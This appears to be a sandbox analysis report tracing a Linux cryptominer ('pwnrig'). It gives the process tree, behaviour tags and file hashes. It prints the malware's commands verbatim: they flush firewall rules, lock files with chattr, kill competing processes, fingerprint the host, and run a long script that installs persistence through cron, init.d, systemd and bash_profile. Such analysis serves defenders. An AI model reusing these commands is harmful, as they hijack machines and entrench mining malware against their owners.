/sbin/ip6tablesip6tables -X ufw6-user-logging-forward4⤵PID:1696
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit-accept4⤵PID:1698
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit4⤵PID:1699
-
-
/sbin/ip6tablesip6tables -X ufw6-user-input4⤵PID:1700
-
-
/sbin/ip6tablesip6tables -X ufw6-user-forward4⤵PID:1701
-
-
/sbin/ip6tablesip6tables -X ufw6-user-output4⤵PID:1702
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-input4⤵PID:1703
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-output4⤵PID:1704
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-forward4⤵PID:1705
-
-
/sbin/ip6tablesip6tables -P INPUT ACCEPT4⤵PID:1706
-
-
/sbin/ip6tablesip6tables -P OUTPUT ACCEPT4⤵PID:1708
-
-
/sbin/ip6tablesip6tables -P FORWARD ACCEPT4⤵PID:1709
-
-
-
-
/usr/bin/bashbash -c "iptables -P INPUT ACCEPT"2⤵PID:1711
-
-
/usr/sbin/iptablesiptables -P INPUT ACCEPT2⤵PID:1711
-
-
/usr/bin/bashbash -c "iptables -P OUTPUT ACCEPT"2⤵PID:1713
-
-
/usr/sbin/iptablesiptables -P OUTPUT ACCEPT2⤵PID:1713
-
-
/usr/bin/bashbash -c "iptables -P FORWARD ACCEPT"2⤵PID:1715
-
-
/usr/sbin/iptablesiptables -P FORWARD ACCEPT2⤵PID:1715
-
-
/usr/bin/bashbash -c "iptables -F"2⤵PID:1717
-
-
/usr/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:1717
-
-
/usr/bin/bashbash -c "chattr -ia /etc/ld.so.preload"2⤵PID:1718
-
-
/usr/bin/chattrchattr -ia /etc/ld.so.preload2⤵
- Attempts to change immutable files
PID:1718
-
-
/usr/bin/pgreppgrep -f klibsystem42⤵
- Reads CPU attributes
PID:1719
-
-
/usr/bin/pgreppgrep -f klibsystem52⤵
- Reads CPU attributes
- Reads runtime system information
PID:1720
-
-
/usr/bin/chattrchattr +ia /etc/init.d/knlib2⤵
- Attempts to change immutable files
PID:1721
-
-
/etc/init.d/knlib/etc/init.d/knlib start2⤵
- Executes dropped EXE
PID:1722 -
/usr/bin/cpcp -f -r -- /bin/knlib5 /bin/klibsystem53⤵PID:1723
-
-
/usr/bin/rmrm -rf -- klibsystem53⤵PID:1725
-
-
-
/usr/bin/chattrchattr +ia /etc/systemd/system/knlibe.service2⤵
- Attempts to change immutable files
PID:1726
-
-
/usr/bin/systemctlsystemctl daemon-reload2⤵
- Reads EFI boot settings
PID:1727
-
-
/usr/bin/systemctlsystemctl enable knlibe.service2⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:1753
-
-
/usr/bin/chattrchattr +ia /bin/knlib52⤵
- Attempts to change immutable files
PID:1795
-
-
/usr/bin/crontabcrontab -r2⤵PID:1796
-
-
/usr/bin/nohupnohup ./klibsystem51⤵PID:1724
-
/usr/bin/klibsystem5./klibsystem51⤵PID:1724
-
/usr/bin/pkillpkill -f .klibsystem51⤵
- Reads CPU attributes
- Reads runtime system information
PID:1797
-
/usr/bin/pkillpkill -f .klibsystem41⤵
- Reads CPU attributes
- Reads runtime system information
PID:1798
-
/usr/bin/bashbash -c "echo \"* * * * * /run/user/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:1799
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1801
-
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib41⤵
- Attempts to change immutable files
PID:1802
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib41⤵
- Attempts to change immutable files
PID:1803
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib41⤵
- Attempts to change immutable files
PID:1804
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib41⤵
- Attempts to change immutable files
PID:1805
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib41⤵
- Attempts to change immutable files
PID:1806
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib41⤵
- Attempts to change immutable files
PID:1807
-
/usr/bin/chattrchattr -ia /etc/anacrontab1⤵
- Attempts to change immutable files
PID:1808
-
/usr/bin/chattrchattr +ia /etc/anacrontab1⤵
- Attempts to change immutable files
PID:1809
-
/tmp/sys-helper/tmp/sys-helper1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1810
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:1812 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵
- Attempts to change immutable files
PID:1813 -
/usr/bin/whoamiwhoami3⤵PID:1824
-
-
/usr/bin/hostnamehostname3⤵PID:1825
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:1826
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:1842
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:1844
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1843
-
-
/usr/bin/idid -u3⤵PID:1846
-
-
/usr/bin/grepgrep -v grep3⤵PID:1849
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:1848
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1847
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵
- Attempts to change immutable files
- Writes file to tmp directory
PID:1851 -
/usr/bin/idid -u3⤵PID:1852
-
-
/usr/bin/idid -u3⤵PID:1853
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:1854
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:1855
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:1856
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:1857
-
-
/usr/bin/idid -u3⤵PID:1858
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:1859
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly3⤵PID:1860
-
-
/usr/bin/chattrchattr -i -a "/etc/cron.*/pwnrig" /bin/crondr3⤵
- Attempts to change immutable files
PID:1861
-
-
/usr/bin/rmrm -rf /bin/crondr3⤵PID:1862
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/crondr3⤵
- Writes file to system bin folder
PID:1863
-
-
/usr/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:1876
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Attempts to change immutable files
- Creates/modifies Cron job
PID:1877
-
-
/usr/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:1878
-
-
/usr/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵
- Attempts to change immutable files
PID:1879
-
-
/usr/bin/whichwhich chkconfig3⤵PID:1880
-
-
/usr/bin/whichwhich update-rc.d3⤵PID:1881
-
-
/usr/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr3⤵
- Attempts to change immutable files
PID:1882
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig disable3⤵
- Flushes firewall rules
PID:1883
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove3⤵PID:1884
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:1885
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:1885
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:1885
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:1885
-
-
-
/usr/bin/rmrm -rf /bin/initdr3⤵PID:1911
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr3⤵
- Writes file to system bin folder
PID:1912
-
-
/usr/bin/teetee /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:1914
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig3⤵
- Attempts to change immutable files
- Modifies init.d
PID:1915
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr3⤵PID:1916
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults3⤵PID:1917
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:1918
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:1918
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:1918
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:1918
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable3⤵PID:1944
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:1945
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig4⤵PID:1945
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:1945
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig4⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:1945
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:1946
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:1946
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:1946
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:1946
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr3⤵
- Attempts to change immutable files
PID:1972
-
-
/usr/bin/whichwhich systemctl3⤵PID:1973
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵
- Attempts to change immutable files
PID:1974
-
-
/usr/bin/rmrm -rf /bin/sysdr3⤵PID:1975
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr3⤵
- Writes file to system bin folder
PID:1976
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Modifies systemd
PID:1978
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Attempts to change immutable files
PID:1979
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵
- Attempts to change immutable files
PID:1980
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service3⤵
- Reads EFI boot settings
PID:1981
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service3⤵
- Reads EFI boot settings
PID:2008
-
-
/usr/bin/systemctlsystemctl daemon-reload3⤵
- Reads EFI boot settings
PID:2034
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service3⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:2060
-
-
-
/usr/bin/hostnamehostname -I1⤵
- Attempts to change immutable files
PID:1816
-
/usr/bin/awkawk "{print \$1}"1⤵PID:1818
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:1823
-
/usr/bin/headhead -n 11⤵PID:1822
-
/usr/bin/grepgrep "Port "1⤵PID:1821
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:1820
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:1832
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:1831
-
/usr/bin/cutcut -d: -f21⤵PID:1830
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:1829
-
/usr/bin/awkawk "{print \$1}"1⤵PID:1835
-
/usr/bin/awkawk "{print \$4}"1⤵PID:1838
-
/usr/bin/awkawk "{print \$4}"1⤵PID:1841
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:2117 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵
- Attempts to change immutable files
PID:2141 -
/usr/bin/whoamiwhoami3⤵PID:2152
-
-
/usr/bin/hostnamehostname3⤵PID:2153
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:2154
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:2170
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:2172
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
PID:2171
-
-
/usr/bin/idid -u3⤵PID:2174
-
-
/usr/bin/grepgrep -v grep3⤵PID:2177
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:2176
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
PID:2175
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:2179
-
/usr/bin/idid -u3⤵PID:2180
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:2185
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd3⤵PID:2184
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵PID:2183
-
-
/usr/bin/grepgrep -v grep3⤵PID:2182
-
-
/usr/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
PID:2181
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵PID:2187
-
/usr/bin/idid -u3⤵PID:2188
-
-
-
/usr/bin/hostnamehostname -I1⤵
- Attempts to change immutable files
PID:2144
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2146
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:2151
-
/usr/bin/headhead -n 11⤵PID:2150
-
/usr/bin/grepgrep "Port "1⤵PID:2149
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:2148
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:2160
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:2159
-
/usr/bin/cutcut -d: -f21⤵PID:2158
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:2157
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2163
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2166
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2169
-
/usr/bin/wcwc -l1⤵PID:2194
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:2193
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:2192
-
/usr/bin/grepgrep -v grep1⤵PID:2191
-
/usr/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
PID:2190
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
49B
MD56771c610481450add99e3c542496039a
SHA17b9fa876a0d9ca5030c1425a068d094572fb76a1
SHA256814dd970272406fcb3bd4a9008cf46c878e312328dcfea9a1bd5713f2d14624a
SHA5121cd9e6cfa84fd583954ae91b9a51355473724335db0d71b73fbfe137083387a4081663ad7028497e095943bdb3028d812970921ea1f433584a5c0772c661caa0
-
Filesize
199B
MD5906980accf4b594d289d69ab3c2b212c
SHA107d5e5111fe11aa1aaa66c61dc4a3df74b3ec6dd
SHA2562e4d6729014e1722ea4839b574d63c0e17a72a99c7ff2fd73bbb981c3429d92c
SHA512467b5bffb60506600723b0b416393853d21bfeb19986537a492716a338de4deb2cfe414e62c047798d1ad3b945d1571f1286e6d9627f823f35e7704b0d095fb0
-
Filesize
196B
MD585af470e35a1ae54466bb6d33978ad92
SHA1d3a7f7639a62dd11db91fbcf55922e29b66f1935
SHA2560940db984b9b439904954693b7d2fd4dd9b295e1cb4c440b203b2e72a3aea0ba
SHA512a2702d6157fe0f475a04ff10d0860756e1aaa7c9ee0ff05ae51ef13c7d8cb358ddc85011557e37a142ec1803e5a8551dbfc873ffa85437e5e97bfdff89c18145
-
Filesize
335B
MD5631c4cbba9e4b1460406d10e565f782a
SHA1047d61155b9be60c794f80764247ef769c215e64
SHA256197b329bf9dbc8a79b5b8e1b71e63e07cd6536555bbc6523116a90cc307f9aa2
